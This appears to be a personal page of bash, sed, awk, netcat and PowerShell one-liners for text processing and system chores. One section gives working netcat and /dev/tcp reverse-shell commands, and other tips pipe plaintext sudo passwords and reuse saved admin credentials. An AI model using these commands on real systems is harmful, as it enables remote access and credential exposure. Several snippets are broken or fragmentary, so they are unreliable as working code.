Using Bash and Sed for Quick String Manipulations

To print the first string starting with an _  :

$ tmp="ffuts erom dna erom _this and _that _is here ___okay"

## Mark the first string for extraction, then use sed to grab it and remove the marker
$ echo "${tmp2/ _/ XXX_}" | sed 's/.*\(.*XXX[^ ]*\).*/\1/;s/XXX//'

Dynamically building AWK statements w/eval

E.g. This will sum the column entries entered on the command line

#!/bin/bash
eval "awk '{print $(echo "${*:2}" | sed -r 's/\b[0-9]*\b/\$&+/g;s/\+$//')}' $1" 

E.g. cat num.txt
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1

$>my.awk num.txt 2 3

Sed to modify every 1st and 3rd occurrence

sed 'H;$!d;x;:a;s/word/MATCH/1;s/word/IGNORE/1;s/word/MATCH/1;t a;s/MATCH/words/g;s/IGNORE/word/g' file

Okay, this may seem complicated at first but its simple - this copies all the text into the Hold space, after that it uses a 3 pattern first occurence match to modify the looked for text (word) with a substitute constant (to avoid reprocessing) then loops (t a) back to the label (:a) until the whole file is processed afterward it replaces the substitute constants.

You can use whatever substitute constants (MATCH,IGNORE) you want if those are problem for your data.

Markup tag stripping w/ SED

<?xml version="1.0" encoding="UTF-8" ?>
<Attributes>
   <Attribute>123</Attribute>
   <Attribute>959595</Attribute>
   <Attribute>1233</Attribute>
   <Attribute>jiji</Attribute>
</Attributes> 

To pull the second attribute:  

sed -n '/<Attributes>/,\#</Attributes>#{/<Attribute>/{

 n;s#.*<Attribute>\(.*\)</Attribute>.*#\1#;p;q};}'
 

Process Multivariables w/ read and a while Loop

To process data that requires you to pull multiple segments into variables, instead of a nested for loop or additional statements that would be clumsy and "awkward" (in a non-awk way) you can use a while loop and break the data into fields using awk or cut or your favorite method and read the data straight into variables:      

while read a b; do ((! $(grep -c "$a.*$b" File2.txt))) && (echo "$a $b" >> missing_pkgs.txt); done < <(awk '/>=/{ print $1" "$3 }' File1.txt)

Using Immediate documents (cat << EOF) to avoid shell quoting problems

If you want to add an entry to an alias file you normally have to jump through hoops to get the quoting properly, much easier with an immediate document since you can type the way would if editing the document itself:

cat <<EOF >> myaliases.bsh
alias go2usb='cd "/var/host/media/removable/USB Drive/"'
EOF

Loop on tail -f for dynamic processing

Lets say you get some interesting files:

for a in {000001..249510}; do wget --random-wait -U "Mozilla/5.0 (Windows NT 5.1; rv:10.0.1)" "http://oeis.org/A$a"; done

then you suspect you missed a few... 

You can open a terminal window (or background) this: 

for a in {000001..249510}; do ((! $(grep -c A$a files.txt))) && (echo $a >> missing_files.txt); done

... and since it will take a while in a new terminal you can "Loop on tail -f for dynamic processing"

tail -f missing_files.txt | while read a; do wget --random-wait -U "Mozilla/5.1 (Windows NT 5.0; rv:10.0.2)" "http://oeis.org/A$a"; done

Python one liner to get next ascii char

python -c "print unichr($(echo "$(ascii -st $1 | awk '{print $2}') + 1" | bc))"

Search RAR archives with grep

ls *.rar | xargs -t -I {} rar lf {}  | grep -i <something youre looking for>

The -t option to xargs announces the command line that it is processing (in this case which rar file), and the rar lf lists the files in the rar archive.

Quick webserver w/ netcat

{ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < <(ls))\r\n\r\n"; cat <(ls); } | nc -l 8080

You can replace <(ls) with whatever script or file to display or command to 

execute that you like 

http://192.168.1.<your ip>:8080  

(Thanks to https://kb.ip-connect.de/index.php?id=422 for the tip)

Or.. if you want to execute a command upon visiting the website url: 

{ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < <(ls))\r\n\r\n"; cat <(ls); } | nc -l 8080 && <command>

Nc definition of a word from dict.org

$ echo "define wn hello" | nc dict.org 2628

Bash recursive subtraction function

#!/usr/bin/env bash

#recursive subtract, arg1 - arg2
function f_r_s() {
if [[ $1 -eq $2 ]]; then
 echo 0; 
elif [[ $1 -gt $2 ]]; then
 echo "1 + $(f_r_s $(echo "$1 - 1"|bc) $2)" | bc;
else
  echo "f_r_s(), reverse the args and try again";
fi;
} 

One liner to parse parenthesized statements

msgbox: 

//messagebox("ñ",string(asc("ñ")))
//messagebox("Ñ",string(asc("Ñ")))
//messagebox("ñ",string(char(241)))

messagebox("Hi")

IF Trim(sle_user_id.text) = "" AND Trim(sle_password.text) = "" THEN
    MessageBox(Titulo_Msg,&
              "Sr Usuario :~r~nDebe ingresar los datos solicitados.",StopSign!,Ok!)
    sle_user_id.SetFocus()
    Return
End If

IFS=$(echo -en "\n\b") && for a in $(grep '[Mm]essage[Bb]ox' msgbox); do echo $a$((($(echo "$a" | grep -o '[()]' | wc -w)%2)) && sed -n "/$a/{n;p;}" msgbox) | perl -lne '{@mystr=$_=~m/\((?>[^()]|(?R))*\)/g; print "@mystr\n" if $_ =~ m/\((?>[^()]|(?R))*\)/g; }' | sed 's/^(\(.*\))$/\1/g';done && unset IFS

Output is:
"ñ",string(asc("ñ"))
"Ñ",string(asc("Ñ"))
"ñ",string(char(241))
"Hi"
Titulo_Msg,& "Sr Usuario :~r~nDebe ingresar los datos solicitados.",StopSign!,Ok!

sed -n '/x(/,/)$/{s/.*x(//;s/)$//p}' msgbox_file.txt

Output: 
"ñ",string(asc("ñ"))
"Ñ",string(asc("Ñ"))
"ñ",string(char(241))

"Hi"
Titulo_Msg,&
   "Sr Usuario :~r~nDebe ingresar los datos solicitados.",StopSign!,Ok!

Print numbers w/ certain number of digits w/Sed

$echo -en "100\n10000\n34934\n3432\n" 
100
10000
34934
3432
put one less than the number of digits you want for the ending sequence:
$ echo -en "100\n10000\n34934\n3432\n" | sed -n '/^[0-9]\{1,2\}.$/p'
100
$ echo -en "100\n10000\n34934\n3432\n" | sed -n '/^[0-9]\{1,3\}.$/p'
100
3432
or if you only want 4 digits:
$ echo -en "100\n10000\n34934\n3432\n" | sed -n '/^[0-9]\{3\}.$/p'
3432
$ echo -en "100\n10000\n34934\n3432\n" | sed -n '/^[0-9]\{1,4\}.$/p'

 of course if thats all you need you could use:

       d d d d        6 6 6 6        4 4 4 4
       e e e e        5 5 5 5        5 5 5 5
       f f f f        4 4 4 4        6 6 6 6
       g g g g        3 3 3 3        7 7 7 7
       h h h h        2 2 2 2        8 8 8 8
       i i i i        1 1 1 1        9 9 9 9

yet the awk way gives much more flexibility and possibilities  

Find & grep file name then grep file

find ~ -name '*alias*' -exec grep wget {} \;

Probably not as efficient yet a bit easier on my brain is the command substitution way: 

grep wget $(find ~ | grep alias)

Using mountpoint to check if a filesystem is mounted before doing something else

I use this to check to see if my reformatted usb mp3 player is mounted (improperly), and if so then remount the partition I want:

alias usbmp3='mountpoint -q /mnt/pt/sdb && ((\!$?)) && $(echo <password> | sudo -S umount /dev/sdb;echo <password> | sudo -S mount /dev/sdb1 /var/host/media/removable/USB\ Drive/;cd /var/host/media/removable/USB\ Drive/) || echo "/dev/sdb not mounted"'

Start Windows commands w/ admin privileges without a password

First start any command with runas and admin privileges

runas /savecred /user:<user w/admin privs>  <command to run>

E.g. 
runas /savecred /user:root cmd.exe 

It will prompt for a password so enter it, yet after that the credentials are saved so any command can be run without entering a password:

runas /savecred /user:root taskkill /f /im cmd.exe /t

no password necessary!

Create a Reverse Shell via Netcat

On the shell receiving side:
nc -l 80

On the shell sending side:
nc <receiving machine ip> 80 -e <command e.g. bash>

If there is no -e option for your netcat:
unlink pipe; mkfifo pipe && nc <your ip> 80 <pipe | <command e.g. bash> &>pipe; unlink pipe

Weird effect is you can mirror the shell sending side output remotely, you need to control still from shell sending side and you wont see anything echoed only the shell receiving side will see it: On the shell sending side:
bash -i >& /dev/tcp/<receiving machine ip>/80

Or if there is no netcat on the receiving side you can use gawk:

Other good ideas about reverse shells here:

Convert all MP4 files to MP3 via avconv

IFS=$'\n' && for a in $(find . -maxdepth 1 -name "*.mp4" -type f -printf "%f\n" | rev | cut -d '.' -f2- | rev | sort -u); do if [ ! -f "$a.mp3" ]; then  avconv -i "$a."* -vn  -ab 128 "$a.mp3"; fi done && unset IFS
 
This may look a little strange but I wrote it originally to handle any type of file, it flips the filename around with rev and then cuts the first field off, this handles files with multiple "."'s such as

my.fav.music.mp4

and if you clip off the -name "*.mp4" it will try to convert every file in the directory to an mp3 if an mp3 doesn't already exist for it

Execute sudo without entering password

echo <your password> | sudo -S <your command>

List and Sort Large Files via find

This will recursively find all files larger than 10MB with the largest files listed last (closest to prompt):

find . -size +10M -printf "%s %f\n" | sort -n -k 1

List Deleted yet Open files via lsof +L1

lsof +L1

Delete empty files via find

find . -size 0 -exec rm {} \;

Recursively Spider Website via wget

This will spider a website on a specific URL going down no more than 2 levels deep staying on the target URL end point:

wget -np -r -nH --cut-dirs=2 -U "Mozilla/5.0 (Windows NT 5.1; rv:10.0.2)" -l 0 -p http://docstore.mik.ua/orelly/unix2.1/sedawk/

Change the URL to whatever you want

Control VLC via DBUS

Start vlc with --control dbus:  
vlc --control dbus

Toggle play/pause on VLC:
qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2  org.mpris.MediaPlayer2.Player.PlayPause

Remove last track from playlist (requires previous alias):
alias rmvlc='qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.TrackList.RemoveTrack $(qdbus --literal org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.TrackList.Tracks | sed "s/\(.*{.*: \)\(.*\)\(]}]*\)/\2/")'

Clear entire track list:
alias clvlc='for a in {1..50}; do rmvlc; done 2>/dev/null' 

Instead of PlayPause you can call any of the MediaPlayer2 methods:
$> qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2

E.g.
advlc 584p\\\;577p
advlc 580\,583p
advlc 422p 

lsdo.bsh:
#!/usr/bin/env bash

function usage {
cat <<  EOF
Usage: lsdo [LSDIR: ls -tr directory] [FILTER: eg. tail -8] [DOCMD: eg. cp "EACH" .]
  Eg. lsdo "/home/cronkilla/Downloads" "tail -8" "cp EACH /tmp"

Kill all processes with name wildcard via wmic

Logon as user with administrator privileges then: 
wmic process where "name like '%<application name>%'" delete

E.g. To kill all VNC server processes
$ wmic process where "name like 'vncserv%'" delete
Deleting instance \\IDEA-PC\ROOT\CIMV2:Win32_Process.Handle="1976"
Instance deletion successful.
Deleting instance \\IDEA-PC\ROOT\CIMV2:Win32_Process.Handle="1088"
Instance deletion successful.
Deleting instance \\IDEA-PC\ROOT\CIMV2:Win32_Process.Handle="3212"
Instance deletion successful.

Or you can use SSH to kill processes remotely on a windows box from *nix box:

ssh <user>@<ip address> $(echo wmic process where \"name like \'%<process to kill>%\'\" delete)

or
 
ssh <user>@<ip address> taskkill /f /im <process to kill> /t 

Gracefully shutdown Windows programs via Powershell

The problem with programmatically killing apps is that you may lose work or skip steps that are required or useful that would normally be accomplished by the application when shutdown properly.

To accomplish this there is a method implemented by Windows processes called CloseMainWindow(). However, some applications like Firefox have multiple windows spawned and CloseMainWindow() will only close the last focused window. In order to close all of the windows you must loop around and call CloseMainWindow() until all windows are closed.

This can be accomplished the following one-liner, replace <app name> with the name of your application (you don't need to include the extension .exe):

powershell -Command "while ($true){Try{$process=Get-Process <app name> -ErrorAction Stop}Catch [Microsoft.PowerShell.Commands.ProcessCommandException]{break;}if ($process) {$whateva=$process.CloseMainWindow()}else {break;}Start-Sleep -m 500}"

E.g. to close firefox
powershell -Command "while ($true){Try{$process=Get-Process firefox -ErrorAction Stop}Catch [Microsoft.PowerShell.Commands.ProcessCommandException]{break;}if ($process) {$whateva=$process.CloseMainWindow()}else {break;}Start-Sleep -m 500}"

##terminate a process gracefully

while ($true) {
Try
 {
   ## Tell powershell to stop on error
   $process = Get-Process firefox -ErrorAction Stop
 }
 Catch  [Microsoft.PowerShell.Commands.ProcessCommandException]
 {
  break;
 }
   if ($process) {
     ## catch the output in a variable to avoid echo'ing TRUE/FALSE to stdout
     $whateva = $process.CloseMainWindow()
    }
   else {
    break;
  }
   ## Sleep for half a second to avoid race condition of shutting down the app and looping
   Start-Sleep -m 500
}   

If you use a VM or Cygwin:

grace_kill_win.bsh:

#!/usr/bin/env bash
powershell -Command "while (\$true){Try{\$process=Get-Process $1 -ErrorAction Stop}Catch [Microsoft.PowerShell.Commands.ProcessCommandException]{break;}if (\$process) {\$whateva=\$process.CloseMainWindow()}else {break;}Start-Sleep -m 500}"

Afterward you can create an alias for it:
alias gkw='grace_kill_win.bsh'

Then you can kill anything gracefully with the command: gkw <application name>
